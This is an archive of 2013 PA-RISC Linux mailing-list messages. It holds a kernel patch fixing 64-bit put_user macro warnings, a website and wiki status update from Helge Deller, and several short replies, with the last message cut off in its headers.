Cc: linux-kernel@vger.kernel.org, Will Deacon <will.deacon@arm.com>,
	Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 17 12:06:47 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1USPGI-0000Ur-6B
	for glpp-linux-parisc@plane.gmane.org; Wed, 17 Apr 2013 12:06:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754747Ab3DQKGp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 17 Apr 2013 06:06:45 -0400
Original-Received: from cam-admin0.cambridge.arm.com ([217.140.96.50]:40835 "EHLO
	cam-admin0.cambridge.arm.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754420Ab3DQKGp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 17 Apr 2013 06:06:45 -0400
Original-Received: from mudshark.cambridge.arm.com (mudshark.cambridge.arm.com [10.1.79.58])
	by cam-admin0.cambridge.arm.com (8.12.6/8.12.6) with ESMTP id r3HA6eki006023;
	Wed, 17 Apr 2013 11:06:40 +0100 (BST)
Original-Received: by mudshark.cambridge.arm.com (Postfix, from userid 1000)
	id A6CEFC2B16; Wed, 17 Apr 2013 11:06:27 +0100 (BST)
X-Mailer: git-send-email 1.8.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4915 gmane.linux.kernel:1477009
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4915>

When targetting 32-bit processors, __put_user emits a pair of stw
instructions for the 8-byte case. If the type of __val is a pointer, the
marshalling code casts it to the wider integer type of u64, resulting
in the following compiler warnings:

  kernel/signal.c: In function 'copy_siginfo_to_user':
  kernel/signal.c:2752:11: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
  kernel/signal.c:2752:11: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
  [...]

This patch fixes the warnings by removing the marshalling code and using
the correct output modifiers in the __put_{user,kernel}_asm64 macros
so that GCC will allocate the right registers without the need to
extract the two words explicitly.

Cc: Helge Deller <deller@gmx.de>
Signed-off-by: Will Deacon <will.deacon@arm.com>
---
 arch/parisc/include/asm/uaccess.h | 18 ++++++------------
 1 file changed, 6 insertions(+), 12 deletions(-)

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 4ba2c93..a95af07 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -181,30 +181,24 @@ struct exception_data {
 #if !defined(CONFIG_64BIT)
 
 #define __put_kernel_asm64(__val,ptr) do {		    \
-	u64 __val64 = (u64)(__val);			    \
-	u32 hi = (__val64) >> 32;			    \
-	u32 lo = (__val64) & 0xffffffff;		    \
 	__asm__ __volatile__ (				    \
-		"\n1:\tstw %2,0(%1)"			    \
-		"\n2:\tstw %3,4(%1)\n\t"		    \
+		"\n1:\tstw %R2,0(%1)"			    \
+		"\n2:\tstw %2,4(%1)\n\t"		    \
 		ASM_EXCEPTIONTABLE_ENTRY(1b,fixup_put_user_skip_2)\
 		ASM_EXCEPTIONTABLE_ENTRY(2b,fixup_put_user_skip_1)\
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
+		: "r"(ptr), "r"(__val), "0"(__pu_err) \
 		: "r1");				    \
 } while (0)
 
 #define __put_user_asm64(__val,ptr) do {	    	    \
-	u64 __val64 = (u64)(__val);			    \
-	u32 hi = (__val64) >> 32;			    \
-	u32 lo = (__val64) & 0xffffffff;		    \
 	__asm__ __volatile__ (				    \
-		"\n1:\tstw %2,0(%%sr3,%1)"		    \
-		"\n2:\tstw %3,4(%%sr3,%1)\n\t"		    \
+		"\n1:\tstw %R2,0(%%sr3,%1)"		    \
+		"\n2:\tstw %2,4(%%sr3,%1)\n\t"		    \
 		ASM_EXCEPTIONTABLE_ENTRY(1b,fixup_put_user_skip_2)\
 		ASM_EXCEPTIONTABLE_ENTRY(2b,fixup_put_user_skip_1)\
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
+		: "r"(ptr), "r"(__val), "0"(__pu_err) \
 		: "r1");				    \
 } while (0)
 
-- 
1.8.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: PARISC Linux website and status update
Date: Fri, 19 Apr 2013 23:12:39 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <5171B347.6070600@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366405964 31630 80.91.229.3 (19 Apr 2013 21:12:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Apr 2013 21:12:44 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>
To: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 19 23:12:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTIbs-0003Lo-2J
	for glpp-linux-parisc@plane.gmane.org; Fri, 19 Apr 2013 23:12:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754447Ab3DSVMn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Apr 2013 17:12:43 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:57158 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754394Ab3DSVMn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Apr 2013 17:12:43 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.30]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LzVm8-1UY7vW2Uy2-014iDN for
 <linux-parisc@vger.kernel.org>; Fri, 19 Apr 2013 23:12:40 +0200
Original-Received: (qmail invoked by alias); 19 Apr 2013 21:12:40 -0000
Original-Received: from p54AD4AE2.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.74.226]
  by mail.gmx.net (mp030) with SMTP; 19 Apr 2013 23:12:40 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX184npM7x8k4RphcKgt/uRSlp1HvnavhqbziprT7gJ
	L29nK7mBT1aQjd
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4916 gmane.linux.debian.ports.hppa:6832
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4916>

Hello everyone,

During the last few days I've invested some time in updating our 
* main website at http://www.parisc-linux.org (including news-updates and favicon) and the 
* Wiki at http://wiki.parisc-linux.org

As such, we now have some more current documentation about
* http://wiki.parisc-linux.org/Debian_Ports_Installation  - How to install from Debian-Ports
* http://wiki.parisc-linux.org/Debian_Ports - Status about (technical) migration to Debian-Ports, and
* http://wiki.parisc-linux.org/TODO - current status and TODOs regarding infrastructure, debian packages and kernel development.

Feedback and corrections are very much welcome.
Volunteers to help are even more welcome :-)

Helge


BTW: We have a Wiki at kernel.org (https://parisc.wiki.kernel.org) as well. Right now I only added links to the existing website/wiki there...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Keven Miller \(3k\)" <kevenm@3kranger.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: PARISC Linux website and status update
Date: Fri, 19 Apr 2013 15:24:40 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <8E87A4B8BE7C4D65B4F15E979070F962@RANGER1>
References: <5171B347.6070600@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	format=flowed;
	charset="iso-8859-1";
	reply-type=original
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366407388 13244 80.91.229.3 (19 Apr 2013 21:36:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Apr 2013 21:36:28 +0000 (UTC)
Cc: "John David Anglin" <dave.anglin@bell.net>
To: <debian-hppa@lists.debian.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 19 23:36:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTIyr-0004u9-5B
	for glpp-linux-parisc@plane.gmane.org; Fri, 19 Apr 2013 23:36:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933294Ab3DSVg2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Apr 2013 17:36:28 -0400
Original-Received: from mail.formula4success.com ([209.90.117.254]:2262 "EHLO
	mail.Formula4Success.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933148Ab3DSVg2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Apr 2013 17:36:28 -0400
X-Greylist: delayed 597 seconds by postgrey-1.27 at vger.kernel.org; Fri, 19 Apr 2013 17:36:28 EDT
Original-Received: from RANGER1 ([65.130.168.69]) by Formula4Success.com with MailEnable ESMTP; Fri, 19 Apr 2013 15:26:25 -0600
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.5931
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157
X-ME-Bayesian: 0.000000
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4917 gmane.linux.debian.ports.hppa:6833
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4917>

Just wanted to pipe up and let you all know someone else follows this hppa 
thread,
having installed Lenny 5.0 onto an A500 box sometime ago.
(I made dvds from the iso files).

I am clueless about kernel programming, but wanted a device driver.

Thus finding a couple tutorials, I created sample drivers, and the one I 
needed.
Finally finished with rebuilding the kernel - with some vague-to-me examples
of needed commands.

Just a C programmer at heart, having been thrust into C++, Java, Cobol, 
Transact,
and a few other languages.

Keven Miller       www.3kranger.com
kevenm@3kranger.com


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: PARISC Linux website and status update
Date: Fri, 19 Apr 2013 23:55:59 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <13691126.u1dAREQ1nW@donald.sf-tec.de>
References: <5171B347.6070600@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1562331.tJ2A3IyiDI"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1366408986 28657 80.91.229.3 (19 Apr 2013 22:03:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Apr 2013 22:03:06 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: debian-hppa@lists.debian.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 20 00:03:10 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTJOe-0005DI-RM
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Apr 2013 00:03:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964948Ab3DSWDI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Apr 2013 18:03:08 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:54303 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S964936Ab3DSWDI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Apr 2013 18:03:08 -0400
X-Greylist: delayed 400 seconds by postgrey-1.27 at vger.kernel.org; Fri, 19 Apr 2013 18:03:07 EDT
Original-Received: (qmail 16055 invoked from network); 19 Apr 2013 21:56:24 -0000
Original-Received: from dslb-188-096-221-134.pools.arcor-ip.net ([::ffff:188.96.221.134]:42410 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <debian-hppa@lists.debian.org>; Fri, 19 Apr 2013 23:56:24 +0200
User-Agent: KMail/4.9.5 (Linux/3.8.5-1-desktop; KDE/4.9.5; i686; ; )
In-Reply-To: <5171B347.6070600@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4918 gmane.linux.debian.ports.hppa:6834
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4918>


--nextPart1562331.tJ2A3IyiDI
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

Helge Deller wrote:
> Hello everyone,
> 
> During the last few days I've invested some time in updating our
> * main website at http://www.parisc-linux.org (including news-updates and
> favicon) and the * Wiki at http://wiki.parisc-linux.org
> 
> As such, we now have some more current documentation about
> * http://wiki.parisc-linux.org/Debian_Ports_Installation  - How to install
> from Debian-Ports * http://wiki.parisc-linux.org/Debian_Ports - Status
> about (technical) migration to Debian-Ports, and *
> http://wiki.parisc-linux.org/TODO - current status and TODOs regarding
> infrastructure, debian packages and kernel development.
> 
> Feedback and corrections are very much welcome.
> Volunteers to help are even more welcome :-)

While I understand your focus on Debian, on an official port website I would 
think that other supported distros should at least be mentioned. And it's not 
that hard, as there is only one distro at all that has HPPA support in their 
official tree at all ;)

Eike
--nextPart1562331.tJ2A3IyiDI
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAlFxvY8ACgkQXKSJPmm5/E75swCgnp8zS5Kv2COizZ8XxsukjDBC
IL8An0IYi13GDJJS1u7TXklNCxKwY0v2
=mREs
-----END PGP SIGNATURE-----

--nextPart1562331.tJ2A3IyiDI--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@parisc-linux.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: PARISC Linux website and status update
Date: Sat, 20 Apr 2013 00:52:33 +0200
Lines: 96
Approved: news@gmane.org
Message-ID: <CA+DQjFhDcf09ZD9SvWvX95hu1hDd-T33YV-ipAzCNr5Se-dDKw@mail.gmail.com>
References: <5171B347.6070600@gmx.de> <13691126.u1dAREQ1nW@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary=047d7bea3f98456b9004dabe94a2
X-Trace: ger.gmane.org 1366411989 24781 80.91.229.3 (19 Apr 2013 22:53:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Apr 2013 22:53:09 +0000 (UTC)
Cc: "debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>, 
	linux-parisc <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sat Apr 20 00:53:12 2013
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1UTKB6-0002Ug-DT
	for debian-hppa@m.gmane.org; Sat, 20 Apr 2013 00:53:12 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id E2A9978; Fri, 19 Apr 2013 22:53:11 +0000 (UTC)
Old-Return-Path: <varenet@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on bendel.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-2.9 required=4.0 tests=FOURLA,FREEMAIL_FROM,
	HTML_MESSAGE,LDO_WHITELIST,T_DKIM_INVALID autolearn=no version=3.3.2
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 932616E
	for <lists-debian-hppa@bendel.debian.org>; Fri, 19 Apr 2013 22:53:02 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-5.599 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, FOURLA=0.1,
	FREEMAIL_FROM=0.001, HTML_MESSAGE=2, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7] autolearn=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id pSaEEMQMe-vM for <lists-debian-hppa@bendel.debian.org>;
	Fri, 19 Apr 2013 22:52:59 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mail-vc0-f177.google.com (mail-vc0-f177.google.com [209.85.220.177])
	(using TLSv1 with cipher RC4-SHA (128/128 bits))
	(Client CN "smtp.gmail.com", Issuer "Google Internet Authority" (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 8D1F84B
	for <debian-hppa@lists.debian.org>; Fri, 19 Apr 2013 22:52:56 +0000 (UTC)
Original-Received: by mail-vc0-f177.google.com with SMTP id hr11so4421025vcb.36
        for <debian-hppa@lists.debian.org>; Fri, 19 Apr 2013 15:52:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type;
        bh=FyyhWlVZ+vSBUiHUqgAyEsOMkwdSmbcZN2+Yxaz/4FY=;
        b=VGNqMVQzdpILBe+59CbWYbYwMOg8DC5IvV8S4gVH2txnyITQVQ5uyY9w5Yv0AR9dLQ
         H7uttS5IDmClmBAG6KfJpvCQe5RLVuXDRmCHnvln6g1dL/b8+6/pTPRzPB2EgTcojB3f
         z0rRJXl0YZjff71Pp3TykeTGEhiPoLKczP9PHsBHsgwB9xvHMII6E3m/gxh7YYQ/bm3X
         hatWpDlaSnMPWTRu/3NVmS63IIRDZxb0kOQ4rRyqwD0W0J9QtTjX5TmRr+4GqNyrSjcS
         UbKr+RQdOxQDGX1rV3VWBeWtRHOjqudY8vlaj1Pg/ERDzCjhC06+dZceudXhA4Bz37Mu
         SQGw==
X-Received: by 10.58.213.37 with SMTP id np5mr12810849vec.54.1366411973059;
 Fri, 19 Apr 2013 15:52:53 -0700 (PDT)
Original-Sender: varenet@gmail.com
Original-Received: by 10.220.41.135 with HTTP; Fri, 19 Apr 2013 15:52:33 -0700 (PDT)
In-Reply-To: <13691126.u1dAREQ1nW@donald.sf-tec.de>
X-Google-Sender-Auth: qS9pjdVKKo0OzAoJBWWsh1MIEyg
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <h75nh2M8aND.A.EsH.XrccRB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/7822
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <http://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri, 19 Apr 2013 22:53:11 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:6835 gmane.linux.ports.parisc:4919
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/6835>

--047d7bea3f98456b9004dabe94a2
Content-Type: text/plain; charset=UTF-8

On Fri, Apr 19, 2013 at 11:55 PM, Rolf Eike Beer <eike-kernel@sf-tec.de>wrote:

> Helge Deller wrote:
> > Hello everyone,
> >
> > During the last few days I've invested some time in updating our
> > * main website at http://www.parisc-linux.org (including news-updates
> and
> > favicon) and the * Wiki at http://wiki.parisc-linux.org
> >
> > As such, we now have some more current documentation about
> > * http://wiki.parisc-linux.org/Debian_Ports_Installation  - How to
> install
> > from Debian-Ports * http://wiki.parisc-linux.org/Debian_Ports - Status
> > about (technical) migration to Debian-Ports, and *
> > http://wiki.parisc-linux.org/TODO - current status and TODOs regarding
> > infrastructure, debian packages and kernel development.
> >
> > Feedback and corrections are very much welcome.
> > Volunteers to help are even more welcome :-)
>
> While I understand your focus on Debian, on an official port website I
> would
> think that other supported distros should at least be mentioned. And it's
> not
> that hard, as there is only one distro at all that has HPPA support in
> their
> official tree at all ;)
>
> Like this: http://wiki.parisc-linux.org/Distributions ?

Might be completely outdated though.

-- 
Thibaut VARENE
http://hacks.slashdirt.org/

--047d7bea3f98456b9004dabe94a2
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

<div dir=3D"ltr"><div class=3D"gmail_extra">On Fri, Apr 19, 2013 at 11:55 P=
M, Rolf Eike Beer <span dir=3D"ltr">&lt;<a href=3D"mailto:eike-kernel@sf-te=
c.de" target=3D"_blank">eike-kernel@sf-tec.de</a>&gt;</span> wrote:<br><div=
 class=3D"gmail_quote">

<blockquote class=3D"gmail_quote" style=3D"margin:0px 0px 0px 0.8ex;border-=
left-width:1px;border-left-color:rgb(204,204,204);border-left-style:solid;p=
adding-left:1ex"><div class=3D"im">Helge Deller wrote:<br>
&gt; Hello everyone,<br>
&gt;<br>
&gt; During the last few days I&#39;ve invested some time in updating our<b=
r>
&gt; * main website at <a href=3D"http://www.parisc-linux.org" target=3D"_b=
lank">http://www.parisc-linux.org</a> (including news-updates and<br>
&gt; favicon) and the * Wiki at <a href=3D"http://wiki.parisc-linux.org" ta=
rget=3D"_blank">http://wiki.parisc-linux.org</a><br>
&gt;<br>
&gt; As such, we now have some more current documentation about<br>
&gt; * <a href=3D"http://wiki.parisc-linux.org/Debian_Ports_Installation" t=
arget=3D"_blank">http://wiki.parisc-linux.org/Debian_Ports_Installation</a>=
 =C2=A0- How to install<br>
&gt; from Debian-Ports * <a href=3D"http://wiki.parisc-linux.org/Debian_Por=
ts" target=3D"_blank">http://wiki.parisc-linux.org/Debian_Ports</a> - Statu=
s<br>
&gt; about (technical) migration to Debian-Ports, and *<br>
&gt; <a href=3D"http://wiki.parisc-linux.org/TODO" target=3D"_blank">http:/=
/wiki.parisc-linux.org/TODO</a> - current status and TODOs regarding<br>
&gt; infrastructure, debian packages and kernel development.<br>
&gt;<br>
&gt; Feedback and corrections are very much welcome.<br>
&gt; Volunteers to help are even more welcome :-)<br>
<br>
</div>While I understand your focus on Debian, on an official port website =
I would<br>
think that other supported distros should at least be mentioned. And it&#39=
;s not<br>
that hard, as there is only one distro at all that has HPPA support in thei=
r<br>
official tree at all ;)<br><br></blockquote><div style>Like this: <a href=
=3D"http://wiki.parisc-linux.org/Distributions">http://wiki.parisc-linux.or=
g/Distributions</a> ?</div><div style><br></div><div style>Might be complet=
ely outdated though.<br clear=3D"all">

<div><br></div>-- <br>Thibaut VARENE<br><a href=3D"http://hacks.slashdirt.o=
rg/" target=3D"_blank">http://hacks.slashdirt.org/</a>


</div></div></div></div>

--047d7bea3f98456b9004dabe94a2--



From - Thu Nov 08 21:09:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Brendan Horan <brendanhoran@basstech.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: PARISC Linux website and status update
Date: Sat, 20 Apr 2013 11:51:29 +0800 (HKT)
Lines: 40
Approved: news@gmane.org
Message-ID: <276588197.910.1366429889203.JavaMail.root@basstech.net>
References: <5171B347.6070600@gmx.de> <13691126.u1dAREQ1nW@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1366430425 7532 80.91.229.3 (20 Apr 2013 04:00:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Apr 2013 04:00:25 +0000 (UTC)
To: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 20 06:00:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTOyN-000259-7Z
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Apr 2013 06:00:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750724Ab3DTEAU convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Apr 2013 00:00:20 -0400
Original-Received: from basstech.net ([188.40.90.217]:47449 "EHLO basstech.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750807Ab3DTEAT convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Apr 2013 00:00:19 -0400
X-Greylist: delayed 523 seconds by postgrey-1.27 at vger.kernel.org; Sat, 20 Apr 2013 00:00:19 EDT
Original-Received: from localhost (localhost [127.0.0.1])
	by basstech.net (Postfix) with ESMTP id B2B0E2404E5;
	Sat, 20 Apr 2013 11:51:35 +0800 (HKT)
Original-Received: from basstech.net ([127.0.0.1])
	by localhost (basstech.net [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id v0OalgM46JNr; Sat, 20 Apr 2013 11:51:30 +0800 (HKT)
Original-Received: from localhost (localhost [127.0.0.1])
	by basstech.net (Postfix) with ESMTP id 153102404AA;
	Sat, 20 Apr 2013 11:51:30 +0800 (HKT)
X-Virus-Scanned: amavisd-new at basstech.net
Original-Received: from basstech.net ([127.0.0.1])
	by localhost (basstech.net [127.0.0.1]) (amavisd-new, port 10026)
